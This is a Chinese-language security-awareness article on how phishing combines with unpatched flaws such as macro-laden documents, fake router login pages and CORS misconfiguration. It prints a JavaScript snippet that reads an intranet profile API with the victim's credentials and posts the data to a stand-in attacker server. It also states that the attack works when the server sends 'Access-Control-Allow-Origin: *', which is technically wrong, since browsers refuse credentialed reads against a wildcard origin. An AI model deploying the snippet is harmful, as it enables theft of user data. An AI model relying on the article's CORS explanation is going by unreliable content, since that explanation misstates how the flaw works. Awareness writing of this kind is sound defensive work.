上周，某公司财务小张收到一封‘银行系统升级通知’邮件，发件人看着像自家开户行，还附了PDF版操作指南。她点开下载，电脑没弹窗警告——毕竟这文件后缀是.pdf，谁会防备？可不到两小时，IT部门就发现她的账号在后台批量导出客户数据。
这不是玄学，是社工+漏洞的组合拳
社工攻击本身不碰代码，靠的是人性弱点：信任、好奇、怕错过。但光骗你点链接、填密码，往往卡在最后一关——比如登录要短信验证码，或者系统自动拦截异常IP。这时候，如果目标环境里恰好存在一个未修复的漏洞，攻击者就能把‘话术’变成‘钥匙’。
常见搭配场景
比如，用社会工程诱导用户打开一个看似正常的Office文档（.docx），而这个文档里嵌入了恶意宏。如果用户电脑上Office宏设置是默认启用（很多老版本Windows+Office组合就是如此），且没打补丁，那宏一执行，就会悄悄下载木马，绕过杀软直接写入内存运行。
再比如，伪造一个‘WiFi管理后台登录页’，长得和公司路由器后台一模一样。用户输入账号密码后，页面假意跳转‘登录成功’，其实后台已把凭证连同浏览器指纹、本地存储的cookie一并发给攻击者服务器——而这个伪造页面之所以能拿到cookie，正是利用了目标内网某台老旧Web服务存在的CORS配置错误漏洞。
真实代码片段长什么样？
下面这个HTML片段，就是钓鱼页中常藏的‘偷cookie’逻辑（仅作教学演示，切勿复现）：
<script>
// 利用目标站点CORS配置不当，跨域读取敏感接口
fetch("http://intranet.company.local/api/user/profile", {
credentials: "include"
})
.then(r => r.json())
.then(data => {
// 把拿到的用户信息发到攻击者服务器
fetch("https://attacker.site/log", {
method: "POST",
body: JSON.stringify(data),
headers: { "Content-Type": "application/json" }
});
});
</script>注意：这段脚本能跑通，前提是intranet.company.local的响应头里写了 Access-Control-Allow-Origin: *，且没限制 Access-Control-Allow-Credentials——这种配置在测试环境或运维疏忽时真会出现。
所以别只盯着‘别乱点链接’，更要盯住身边那些常年不更新的打印机管理界面、旧版OA、甚至员工自己搭的NAS后台。它们才是社工攻击真正想踩进去的第一块垫脚石。